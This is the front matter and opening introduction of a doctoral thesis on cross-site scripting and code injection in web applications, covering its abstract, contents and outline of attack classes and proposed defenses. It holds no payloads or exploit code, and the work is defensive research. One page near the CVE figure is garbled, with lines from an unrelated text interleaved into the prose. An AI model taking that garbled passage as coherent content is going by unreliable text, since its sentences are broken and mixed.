See discussions, stats, and author profiles for this publication at: https://www.researchgate.

net/publication/220622661

Code Injection Vulnerabilities in Web Applications - Exemplified at Cross-site

Scripting

Article  in  it - Information Technology · September 2011

DOI: 10.1524/itit.2011.0651 · Source: DBLP

CITATIONS READS

26 7,814

1 author:

Martin Johns
SAP Research
77 PUBLICATIONS   1,037 CITATIONS   

SEE PROFILE

All content following this page was uploaded by Martin Johns on 24 December 2014.

The user has requested enhancement of the downloaded file.

 Dissertation
zur Erlangung des akademischen Grades eines
Doktors der Naturwissenschaften

Code Injection Vulnerabilities in Web

Applications - Exemplified at Cross-site
Scripting
Martin Johns

Eingereicht an der Fakultät für Informatik und Mathematik der Universität Passau

Gutachter: Prof. Dr. Joachim Posegga

Prof. Dr. Dieter Gollmann

Submitted April 14th 2009, defended July 22nd 2009

2
Abstract
The majority of all security problems in today’s Web applications is caused by string-
based code injection, with Cross-site Scripting (XSS) being the dominant representative
of this vulnerability class. This thesis discusses XSS and suggests defense mechanisms.
We do so in three stages:
First, we conduct a thorough analysis of JavaScript’s capabilities and explain how
these capabilities are utilized in XSS attacks. We subsequently design a systematic,
hierarchical classification of XSS payloads. In addition, we present a comprehensive sur-
vey of publicly documented XSS payloads which is structured according to our proposed
classification scheme.
Secondly, we explore defensive mechanisms which dynamically prevent the execution
of some payload types without eliminating the actual vulnerability. More specifically,
we discuss the design and implementation of countermeasures against the XSS payloads
“Session Hijacking”, “Cross-site Request Forgery”, and attacks that target intranet re-
sources. We build upon this and introduce a general methodology for developing such
countermeasures: We determine a necessary set of basic capabilities an adversary needs
for successfully executing an attack through an analysis of the targeted payload type.
The resulting countermeasure relies on revoking one of these capabilities, which in turn
renders the payload infeasible.
Finally, we present two language-based approaches that prevent XSS and related vul-
nerabilities: We identify the implicit mixing of data and code during string-based syn-
tax assembly as the root cause of string-based code injection attacks. Consequently,
we explore data/code separation in web applications. For this purpose, we propose a
novel methodology for token-level data/code partitioning of a computer language’s syn-
tactical elements. This forms the basis for our two distinct techniques: For one, we
present an approach to detect data/code confusion on run-time and demonstrate how
this can be used for attack prevention. Furthermore, we show how vulnerabilities can
be avoided through altering the underlying programming language. We introduce a
dedicated datatype for syntax assembly instead of using string datatypes themselves for
this purpose. We develop a formal, type-theoretical model of the proposed datatype
and proof that it provides reliable separation between data and code hence, preventing
code injection vulnerabilities. We verify our approach’s applicability utilizing a practical
implementation for the J2EE application server.

3
4
Acknowledgments
This thesis would not exist without the help, advice, inspiration, dialogue, and encour-
agement of many, many people. I would like to thank (in no particular order): Joachim
Posegga, Dieter Gollmann, Daniel Schreckling, Jan Meier, Jan Seedorf, Christopher
Alm, Henrich C. Pöhls, Bastian Braun, Hannah Lee, Rosemaria Giesecke, Tom Schroer,
Thilo Zieschang, Stefan Fünfrocken, Boris Hemkemeier, Kai Buchholz-Stepputiz, Sashar
Paulus, Moritz Jodeit, Justus Winter, Christian Beyerlein, Björn Engelmann, Jeremias
Reith, Christian Weitendorf, Roland Illig, Mieke Hildenbrandt, Christopher Schward,
Daniel Kreischer, the CInsects & SecToolers, Siglinde Böck, Erika Langer, Marita Ward,
Melanie Volkamer, Michael Schrank, Andreas Günther, Ingo Desombre, Tim Scharfen-
berg, Andre Lürssen, Andrei Sabelfeld, Frank Piessens, Yves Younan, Ulfar Erlingsson,
Helen Wang, Erik Meijer, fukami, Alex Kouzemtchenko, Dragos Ruiu, Wolfgang Koeppl,
Martin Wimmer, Hoko Onshi,

and last but not least: Team Johns (you rock!).

5
6
Contents

Introduction 12
Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Thesis overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Thesis outline and contributions . . . . . . . . . . . . . . . . . . . . . . . . . . 16

I. Cross-Site Scripting Attacks 21

1. Technical Background 23
1.1. The web application paradigm . . . . . . . . . . . . . . . . . . . . . . . . 23
1.1.1. The web browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
1.1.2. Uniform Resource Locators . . . . . . . . . . . . . . . . . . . . . . 25
1.2. Web application session management and authentication tracking . . . . . 26
1.2.1. Browser-level authentication tracking . . . . . . . . . . . . . . . . 29
1.2.2. Application-level authentication tracking . . . . . . . . . . . . . . 30
1.3. JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
1.3.1. The Same Origin Policy (SOP) . . . . . . . . . . . . . . . . . . . . 31
1.3.2. JavaScript networking capabilities . . . . . . . . . . . . . . . . . . 33
1.3.3. Encapsulation and information hiding . . . . . . . . . . . . . . . . 34

2. Cross-Site Scripting (XSS) 35

2.1. Types of XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2.1.1. XSS caused by insecure programming . . . . . . . . . . . . . . . . 37
2.1.2. XSS caused by insecure infrastructure . . . . . . . . . . . . . . . . 39
2.2. Selected XSS techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
2.3. XSS outside the browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.4. Avoiding XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43

3. Exploiting XSS Issues 45

3.1. Browser-based attacks using JavaScript . . . . . . . . . . . . . . . . . . . 45
3.1.1. JavaScript Driven Attacks (JSDAs) . . . . . . . . . . . . . . . . . 45
3.1.2. Defensive browsing . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
3.2. XSS Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
3.2.1. Executing JSDAs in trusted contexts through XSS . . . . . . . . . 46
3.2.2. A malware analogy . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
3.3. Frequently used attacks techniques . . . . . . . . . . . . . . . . . . . . . . 48
3.3.1. A loophole in the Same Origin Policy . . . . . . . . . . . . . . . . 48

7
Contents

3.3.2. Creating state-changing HTTP requests . . . . . . . . . . . . . . . 48

3.3.3. The basic reconnaissance attack (BRA) . . . . . . . . . . . . . . . 49
3.3.4. DNS rebinding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
3.4. Systematic overview of JSDAs / XSS Payloads . . . . . . . . . . . . . . . 51
3.4.1. Execution-contexts . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
3.4.2. Attack-targets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
3.4.3. Attack-types and -capabilities . . . . . . . . . . . . . . . . . . . . . 53
3.4.4. Systematic classification of XSS Payloads . . . . . . . . . . . . . . 54
3.5. Thesis scope: Countering XSS Payloads . . . . . . . . . . . . . . . . . . . 61

4. XSS Payloads: Application Context 63

4.1. Session hijacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
4.1.1. Session ID theft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.1.2. Browser hijacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4.1.3. Background XSS propagation . . . . . . . . . . . . . . . . . . . . . 65
4.2. Password theft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
4.2.1. Manipulating the application’s authentication dialogue . . . . . . . 67
4.2.2. Abusing the browser’s password manager . . . . . . . . . . . . . . 68
4.2.3. Spoofing of authentication forms . . . . . . . . . . . . . . . . . . . 68

5. XSS Payloads: Browser and Computer Context 71

5.1. Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . 71
5.1.1. Attack specification . . . . . . . . . . . . . . . . . . . . . . . . . . 71
5.1.2. Attack surface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
5.1.3. Notable real-world CSRF exploits . . . . . . . . . . . . . . . . . . 73
5.2. Fingerprinting and privacy attacks . . . . . . . . . . . . . . . . . . . . . . 74
5.2.1. Privacy attacks based on cascading style sheets . . . . . . . . . . . 75
5.2.2. Privacy attacks through timing attacks . . . . . . . . . . . . . . . 76
5.2.3. BRA-based privacy attacks . . . . . . . . . . . . . . . . . . . . . . 78

6. XSS Payloads: Intranet and Internet Context 81

6.1. Intranet reconnaissance and exploitation . . . . . . . . . . . . . . . . . . . 81
6.1.1. Using a webpage to execute code within the firewall perimeter . . 81
6.1.2. Intranet reconnaissance attacks . . . . . . . . . . . . . . . . . . . . 82
6.1.3. Local CSRF attacks on intranet servers . . . . . . . . . . . . . . . 86
6.1.4. Cross protocol communication . . . . . . . . . . . . . . . . . . . . 87
6.2. DNS rebinding attacks on intranet hosts . . . . . . . . . . . . . . . . . . . 87
6.2.1. Leaking intranet content . . . . . . . . . . . . . . . . . . . . . . . . 87
6.2.2. Breaking the browser’s DNS pinning . . . . . . . . . . . . . . . . . 88
6.2.3. Further DNS rebinding attacks . . . . . . . . . . . . . . . . . . . . 90
6.3. Selected XSS Payloads in the internet context . . . . . . . . . . . . . . . . 92
6.3.1. Scanning internet web applications for vulnerabilities . . . . . . . . 92
6.3.2. Assisting worm propagation . . . . . . . . . . . . . . . . . . . . . . 93
6.3.3. Committing click-fraud through DNS rebinding . . . . . . . . . . . 93

8
 Contents

II. Mitigating Cross-Site Scripting Attacks 95

7. Protection Against Session Hijacking 99

7.1. Concept overview and methodology . . . . . . . . . . . . . . . . . . . . . . 99
7.2. Practical session hijacking countermeasures . . . . . . . . . . . . . . . . . 100
7.2.1. Session ID protection through deferred loading . . . . . . . . . . . 100
7.2.2. One-time URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
7.2.3. Subdomain switching . . . . . . . . . . . . . . . . . . . . . . . . . 106
7.3. Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
7.3.1. Combination of the methods . . . . . . . . . . . . . . . . . . . . . 107
7.3.2. Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
7.3.3. Transparent implementation . . . . . . . . . . . . . . . . . . . . . . 108
7.3.4. Client-side protection . . . . . . . . . . . . . . . . . . . . . . . . . 109
7.4. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110

8. Protection Against Cross-Site Request Forgery 113

8.1. Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
8.2. Current defence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
8.2.1. Flawed protection approaches due to existing misconceptions . . . 113
8.2.2. Manual protection . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
8.3. Concept overview and methodology . . . . . . . . . . . . . . . . . . . . . . 116
8.4. Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
8.4.1. Implementation as a client side proxy . . . . . . . . . . . . . . . . 118
8.4.2. Implementation as a browser extension . . . . . . . . . . . . . . . . 120
8.5. Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
8.5.1. Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
8.5.2. Server-side protection . . . . . . . . . . . . . . . . . . . . . . . . . 122
8.5.3. Future work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
8.6. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122

9. Protecting the Intranet Against JSDAs 125

9.1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
9.2. Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
9.3. Defense strategies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
9.3.1. Turning off active client-side technologies . . . . . . . . . . . . . . 126
9.3.2. Extending the SOP to single elements . . . . . . . . . . . . . . . . 127
9.3.3. Rerouting cross-site requests . . . . . . . . . . . . . . . . . . . . . 128
9.3.4. Restricting the local network . . . . . . . . . . . . . . . . . . . . . 131
9.4. Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
9.4.1. Comparison of the proposed protection approaches . . . . . . . . . 132
9.4.2. Implementation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
9.4.3. Practical evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . 134
9.4.4. Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
9.5. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135

9
Contents

III. Architectures and Languages for Practical Prevention of String-based

Code-Injection Vulnerabilities 137

10.The Foundation of String-based Code Injection Flaws 141

10.1. String-based code assembly . . . . . . . . . . . . . . . . . . . . . . . . . . 141
10.2. String-based code injection vulnerabilities . . . . . . . . . . . . . . . . . . 143
10.2.1. Vulnerability class definition . . . . . . . . . . . . . . . . . . . . . 143
10.2.2. Specific subtypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
10.3. Analysis of the vulnerability class . . . . . . . . . . . . . . . . . . . . . . . 145
10.3.1. Data and code confusion . . . . . . . . . . . . . . . . . . . . . . . . 145
10.3.2. Foreign code communication through unmediated interfaces . . . . 146
10.4. Towards mapping data/code to string-based code assembly . . . . . . . . 147
10.4.1. Data/Code classification of language elements . . . . . . . . . . . . 148
10.4.2. Analysis of selected foreign languages . . . . . . . . . . . . . . . . 150

11.Identification of Data/Code Confusion 157

11.1. Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
11.2. Concept overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
11.2.1. General approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
11.2.2. Decidability of dynamic identification of data/code-elements . . . . 158
11.2.3. Identifying data/code confusion using string masking . . . . . . . . 158
11.2.4. False positives and false negatives . . . . . . . . . . . . . . . . . . 162
11.2.5. Allowing dynamic code generation . . . . . . . . . . . . . . . . . . 164
11.2.6. Implementation approaches . . . . . . . . . . . . . . . . . . . . . . 165
11.2.7. Generality the approach . . . . . . . . . . . . . . . . . . . . . . . . 166
11.3. Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
11.3.1. Practical implementation using PHP . . . . . . . . . . . . . . . . . 167
11.3.2. Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
11.3.3. Protection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
11.3.4. Future work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
11.4. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169

12.Enforcing Secure Code Creation 171

12.1. Motivation and concept overview . . . . . . . . . . . . . . . . . . . . . . . 171
12.1.1. Lessons learned from the past . . . . . . . . . . . . . . . . . . . . . 171
12.1.2. High level design considerations . . . . . . . . . . . . . . . . . . . . 172
12.1.3. Design objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
12.1.4. Key components . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
12.2. Introducing a specific datatype for secure code assembly . . . . . . . . . . 174
12.2.1. Existing type-system approaches for confidentiality and integrity . 175
12.2.2. A type-system for secure foreign code assembly . . . . . . . . . . . 179
12.3. Language integration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
12.3.1. Implementation as an API . . . . . . . . . . . . . . . . . . . . . . . 184
12.3.2. Extending the native language’s grammar . . . . . . . . . . . . . . 185

10
 Contents

12.3.3. Usage of a pre-processor . . . . . . . . . . . . . . . . . . . . . . . . 186

12.4. Abstraction layer design . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187
12.4.1. Position of the abstraction layer . . . . . . . . . . . . . . . . . . . 187
12.4.2. Foreign code serialization strategy . . . . . . . . . . . . . . . . . . 189
12.5. Realising the concepts for HTML, JavaScript and Java . . . . . . . . . . . 191
12.5.1. Adding FLET handling to the Java language . . . . . . . . . . . . 191
12.5.2. Designing an HTML/JavaScript-FLET API . . . . . . . . . . . . . 192
12.5.3. Disarming potential injection attacks . . . . . . . . . . . . . . . . . 196
12.6. Implementation and evaluation . . . . . . . . . . . . . . . . . . . . . . . . 198
12.6.1. Creating an abstraction layer for J2EE . . . . . . . . . . . . . . . . 198
12.6.2. Practical evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . 199
12.6.3. Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
12.7. Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201

IV. Related Work and Conclusion 203

13.Related Work 205

13.1. Mitigation of XSS Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . 205
13.1.1. Countering attacks in the application context . . . . . . . . . . . . 205
13.1.2. Countering attacks in the browser context . . . . . . . . . . . . . . 206
13.1.3. Countering intranet reconnaissance and DNS rebinding . . . . . . 207
13.2. Dynamic detection and prevention of XSS attacks . . . . . . . . . . . . . 208
13.2.1. Detection of XSS attacks . . . . . . . . . . . . . . . . . . . . . . . 208
13.2.2. Prevention of XSS injection attempts . . . . . . . . . . . . . . . . 209
13.2.3. Prohibiting the execution of injected script code . . . . . . . . . . 210
13.3. Detection and prevention of string-based code injection vulnerabilities . . 210
13.3.1. Manual protection and secure coding . . . . . . . . . . . . . . . . . 211
13.3.2. Special domain solutions . . . . . . . . . . . . . . . . . . . . . . . . 211
13.3.3. Dynamic taint propagation . . . . . . . . . . . . . . . . . . . . . . 211
13.3.4. Instruction Set Randomization . . . . . . . . . . . . . . . . . . . . 212
13.4. Language based approaches . . . . . . . . . . . . . . . . . . . . . . . . . . 212
13.4.1. Safe language dialects . . . . . . . . . . . . . . . . . . . . . . . . . 213
13.4.2. Foreign syntax integration . . . . . . . . . . . . . . . . . . . . . . . 213

14.Conclusion 215
14.1. Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
14.2. Future work and open problems . . . . . . . . . . . . . . . . . . . . . . . . 218
14.2.1. Shortcomings of the Same Origin Policy (SOP) . . . . . . . . . . . 218
14.2.2. Authentication tracking . . . . . . . . . . . . . . . . . . . . . . . . 219
14.2.3. Illegitimate external access to intranet resources . . . . . . . . . . 219
14.2.4. XSS Payloads in the internet execution-context . . . . . . . . . . . 220
14.2.5. Next steps for the Foreign Language Encapsulation Type . . . . . 220
14.3. Outlook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222

11
Contents

V. Appendix 223

A. Graphical Representation of the XSS Payload Classification 225

A.1. Application context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
A.2. Browser context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
A.3. Computer context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227
A.4. Intranet context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228
A.5. Internet context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229

12
Introduction
One click on an anchor might take you anywhere
from the next sentence to somewhere in New Zealand.
Dan Connolly, 19921

Motivation
The foundation of all web applications was laid in the first proposal of the World Wide
Web by CERN’s Sir Tim Berners-Lee in 1990 [18]. Initially, Berners-Lee envisioned the
WWW to serve as a powerful replacement for earlier document distribution systems, such
as Gopher or WAIS. However, the WWW has evolved since then from a delivery-system
of static hypertext documents to a full-fledged run-time environment for distributed
applications. Nowadays, web applications are ubiquitous: They are used for almost any
conceivable purpose, ranging from implementing the configuration interface of hardware
devices such as routers, over providing rich application functionality for word processing,
to implementing the graphical user interface of large scale enterprise applications.
The Web’s evolution was driven by continuous innovations, both on the server- and
on the client-side and was fostered by the ease of extending HTML and HTTP. Also,
CERN’s open policy in respect to handling the unfolding standards and the lively ex-
change of the early adaptors on the www-talk [189] mailing list aided this process. The
rapid development of the web application paradigm was driven by many heterogeneous
parties and can be, at best, described as “unplanned” and “chaotic”. In hindsight, the
process can be characterised by three independent key-developments:
For one, HTML-documents were quickly outfitted with the capability to contain in-
lined multi-media content, such as images via the img-tag2 . This content can be retrieved
from external web servers and is displayed as integral part of the hosting documents.
Thus, since then, a single document can combine elements from multiple origins. Fur-
ther HTML tags, such as iframe, object, or script, extended this capability with
additional types of external resources.
Furthermore, in the beginning, a web server only delivered static HTML pages which
were retrieved from the server’s filesystem. This behaviour was soon extended with
the ability to access WAIS-like directory services by adding simple query strings to
1
Dan Connolly, ”Re: The spec evolves...”, www-talk, 1992, http://1997.webhistory.org/www.lists/
www-talk.1992/0418.html
2
Marc Andreessen, ”proposed new tag: IMG”, www-talk, 1993, http://1997.webhistory.org/www.
lists/www-talk.1993q1/0182.html

13
Contents

the HTTP request3 . From this querying mechanism, it was only a short step towards
sophisticated HTML forms that could post complex information to the server. This in
turn resulted in an evolution of server-side methods to dynamically produce the delivered
HTML code. Such technologies advanced from simple shell scripts encapsulated in CGI-
wrappers [267], over special purpose programming languages like PHP [254], to complex
application-server frameworks, such as J2EE [252].
Finally, methods to include executable elements in HTML documents have been added
to the mix. Notably in this context was the introduction of JavaScript by Netscape in
its browser Netscape Navigator version 2.0B3 in December 1995 [34]. JavaScript allows
the creation of scripts which are tightly interwoven with the HTML document’s markup.
These scripts are executed while the document is displayed by the browser and enable
the programmer to script dynamic interaction with the document’s elements. Via this
step, the web browser grew from a simple HTML-viewer to an execution platform for
complex user-interfaces and non-trivial application logic.
This evolution of the web application paradigm has created several potential security
pitfalls (which we will explore in depth in this thesis): For example, originally HTTP
was never meant to carry authentication or session information, as it was conceived as
a simple request-response information delivery protocol. However, the extended usage
of web sites for application-like purposes demanded such features. For this reason, they
have been added on to the existing specification without being fully integrated into the
protocol.
Furthermore, the security policy that was adopted for JavaScript-code is origin based:
The policy mechanism derives its decisions solely from the origin of the hosting HTML
page. This seems ill fitted for a hypertext system which was designed to work trans-
parently over location-boundaries and which allowes the composition of documents from
elements which were retrieved from multiple origins.
And most significantly, the dominant method to dynamically create HTML content
from incoming data still has its roots in the wrapping of shell-scripts: The web-server
passes the request information to an executable which in turn utilizes string-operations to
create the response’s HTML code. This ad-hoc approach towards dynamically creating
HTML code from string-data is highly susceptible to code-injection vulnerabilities.
Consequently, the number of security vulnerabilities reported in connection with web
applications has increased steadily in parallel to the growing significance of the web
application paradigm (see Fig. 1). Especially, the type of string-based code injection
vulnerabilities in web applications4 account for approximately 50% of all reported issues
of the year 2006 [39].
Furthermore, the specific subclass of Cross-Site Scripting (XSS) vulnerabilities consti-
tutes the most wide spread vulnerability type of 2006 with 18.5% of all reported issues.
XSS allows the adversary to include arbitrary JavaScript code in the attacked web ap-
plication’s pages. In combination which the other security pitfalls of HTTP/HTML
3
Tim Berners-Lee, “Re: Is there a paper which describes the www protocol?”, www-talk, 1992, http:
//1997.webhistory.org/www.lists/www-talk.1992/0000.html
4
Consisting of subclasses such as Cross-Site Scripting, SQL Injection, or Directory Traversal; for details
concerning this vulnerability class please refer to Chapter 10.

14
 2.6. XSS 15 Contents

1400
XSS
SQL injection
1200 PHP file inclusion
Buffer overflow
Directory traversal

Number of CVE entries

1000

800

600

400

200

0
20

20

20

20

20

20
01

02

03

04

05

06
Year

Figure 2.2: Vulnerability type entries within the CVE database

Figure 1.: Vulnerability type entries within the CVE database [39]
only referred to the ability to bypass web browsers’ same–origin policy by using frames. Normally,
the same–origin policy does not permit a script to access properties of a document residing on
a different
outlined above, a wide domain [23], but several
variation vulnerabilities allowed
of attack-types is at itthe
to circumvent
adversary’sthe restriction
disposal.by
using HTML frames5 . Nowadays the term also includes the act of injecting arbitrary markup
Moreover, into
an another
examination
web page [24].of this vulnerability class results in the observation that
XSSnot
the issue seems is possible
easily if a resolvable:
web application inserts
The XSS non-trustful data directly intype
vulnerability the resulting
is knowndocument
at least since
without encoding or escaping it properly (depending on the context). A vulnerability exists if
February 2000 [33],
special characters like <, > and " are not interpreted as plain text by the browser. The angle and even
the number of reported issues is steadily increasing [39],
brackets, for instance,
web application-centric are reservedsuch
companies, characters within HTML.
as Google, They
fail tohave to be this
avoid encoded using of security
class
HTML entity encoding (resulting in &lt; and &rt; respectively) in order to get displayed in
problems [7]. the
Based ondocument.
resulting these findings,
Without thisitencoding,
is reasonable to are
the characters conclude
interpretedthat the tag
as HTML problem will
remain presentsurroundings.
in the coming years.
Being able to insert markup into a document will not necessarily yield to Cross–Site Scripting
and might also be explicitly tolerated in some cases. Content Management Systems commonly
allow the use of certain HTML tags like <p> and <a> to format text or reference other documents.
Thesis overview
Some sites like ebay.com [25] even allow the insertion of some JavaScript code by third parties.
Attacking a site like eBay, where any customer can add JavaScript to their listings, is hard to
regard as XSS. The code is inserted by normal means and could instead be called Same–Site
For the reasons listed
Scripting (SSS)above,
6
. this thesis explores several methods to address the chal-
lenges posed byExamples
XSS vulnerabilities.
5 are CVE-2002-0783, a bypass found in Opera and the described vulnerability in the Microsoft
security bulletin MS00-033, which affects Internet Explorer
First, we systematically
6 explore
The term Same–Site Scripting thebeentechnical
has also used in another,background
DNS related, contextof the weweb
to which are notapplication
referring to [26]
paradigm in respect to the causes of XSS. Also, we assess the offensive capabilities
provided to the adversary by JavaScript and the resulting attack types. In this con-
text, we present a comprehensive survey and classification of documented XSS attack
payloads in Part I of this thesis. The remaining two parts of the thesis are devoted to
exploring defensive methods for XSS protection. The majority of all XSS vulnerabilities
is caused by insecure programming. Consequently, two general strategies exist when it
comes to dealing with this vulnerability class:
For one, it can be attempted to fix the vulnerable code. The current practice of manual
secure programming and fixing the code on a per-error basis is apparently insufficient,
considering the rising number of reported vulnerabilities. Consequently, an investigation
of fundamental methods is necessary. Such methods can either aid the detection of such
programming errors or change the underlying programming methodology in a way that
the class of responsible programming errors cannot occur anymore. Part III of this thesis

15
Contents

will pursue this approach.

However, fixing the underlying code may not always be possible for various reasons,
e.g., because the application’s source code is not available to the application’s operator.
Therefore, alternatively to removing the vulnerability, a potential defensive measure is
minimizing the impact of the issue by mitigating possible exploits. This is achieved
by selectively modifying the execution environment of the vulnerable application. This
way it can be attempted to block the actions of a potential exploit while the regular
operation of the application remains as unaffected as possible. Techniques that follow
this approach are necessarily very specific to both the targeted exploitation method and
to the corresponding class of security vulnerabilities. As motivated above, in this context
we focus on XSS-based attacks. We present our work in this area in Part II of this thesis.

Thesis outline and contributions

This thesis is divided in three major parts. In the remainder of this section, we outline
each of these parts and briefly list the part’s corresponding contributions.

Part I: XSS attacks

A thorough understanding of the underlying mechanisms of XSS attacks is indispensable
to assess all further discussed defensive approaches. For this reason, the first part of this
thesis explores the technical aspects of the web application paradigm, the causes of
XSS vulnerabilities, the specific methods of exploiting such issues, and the malicious
capabilities which an adversary may gain by the exploitation.
Chapter 1 revisits the technical background of the web application paradigm with
a special focus on authentication mechanisms and active client-side content provided by
JavaScript.
Chapter 2 explores the vulnerability class of XSS. For this purpose, both the various
potential causes that lead to XSS problems as well as the utilized exploitation techniques
are discussed.
In Chapter 3 we introduce the terms JavaScript driven attack (JSDA) and XSS
Payload. A JSDA is an attack which relies solely on the capabilities that the web browser
“legally” provides to active client-side content that was received over the internet, i.e.,
JavaScript. Furthermore, based on this notion, we define an XSS Payload to be a
JSDA which is executed through an XSS exploit. To gain a better understanding of
the malicious capabilities of XSS attacks we propose a systematical and comprehensive
classification of existing XSS Payloads.
The remaining Chapters 4 to 6 are devoted to deeper exploration of documented
XSS Payloads in the specified execution contexts.

16
 Contents

Contributions of Part I:

• A comprehensive survey and classification of existing XSS Payload-types (Chap-

ter 3 to 6) including

– a novel systematic classification of XSS-based session hijacking attacks (see

Sec. 4.1) and
– a novel systematic classification of web based authentication tracking mecha-
nisms according to their vulnerability to Cross-Site Request Forgery (CSRF)
attacks (see Sec. 1.2 and 5.1).

As reasoned above and in Section 3.5, based on the results of part I, we can deduce
two general directions towards solving the discussed issues: Designing dedicated counter-
measures to disarm specific payload classes and introducing methods towards removing
the underlying XSS issues by changing the process of developing web applications. The
following two parts of the thesis present our approaches in respect to these two general
areas.

Part II: Mitigating XSS exploitation

As soon as the attacker is able to execute his script, his activities are unrestricted in
respect to the malicious actions identified in Part I. The methods proposed in this part
aim to disarm XSS Payloads by selectively depriving the adversary of certain capabilities.
This way the consequences of active exploitation of the vulnerability can be limited,
while the actual XSS issue still remains. As long as the process of web application
development has not reached a state in which XSS problems are only rarely encountered,
this general approach is valid to establish a second line of defense. This is achieved by
transparently modifying the execution environment of the web application. Hence, the
actual applications remain unchanged.
In Chapter 7 we closely examine the distinct methods of session hijacking which have
been isolated in Section 4.1. Based on this analysis, we propose three countermeasures,
each tailored to disarm one of the possible session hijacking attacks. A combination of
our three methods prevents all session hijacking attempts despite existing XSS prob-
lems. In Chapter 8 we utilize the same general methodology to handle Cross-Site
Request Forgery (CSRF): We closely analyse the underlying mechanisms that enable
CSRF attacks in the first place. Then, we introduce changes in the vulnerable authen-
tication tracking mechanisms which devoid the adversary from successfully launching
CSRF attacks. Finally, in Chapter 9 we attend the class of JSDAs that target intranet
resources. Due to an initial examination of the attack class, we deduct three potential
countermeasures (in addition to the practise of disabling JavaScript completely). We
discuss the advantages and drawbacks of each method and conduct a comparison of the
four methods. Based on this discussion, the most promising approach is implemented
and practically evaluated.

17
Contents

Contributions of Part II:

• A general, systematic methodology for designing payload specific countermeasures

(see introduction to Part II, Sec. 7.1, Sec. 8.3, and Sec. 9.2).

• Design and implementation of novel server-side countermeasures to secure web

applications against XSS-based session hijacking attacks (see Chapter 7).

• Design and implementation of novel client-side techniques to prevent CSRF attacks

(see Chapter 8).

• A systematic evaluation of three novel countermeasures against JSDAs that target

intranet resources (see Chapter 9).

Part III: Fundamentally preventing code injection vulnerabilities

This part explores approaches to eliminate XSS problems in general. The majority of
all XSS issues are caused by insecure programming. Thus, a careful examination of
the underlying coding practices is necessary to establish possible fundamental solutions.
XSS which is caused by insecure coding is a subtype of the larger class of string-based
code injection vulnerabilities. For this reason, we analyse the root causes of such issues:
String-based code injection occurs in situations where a program dynamically assem-
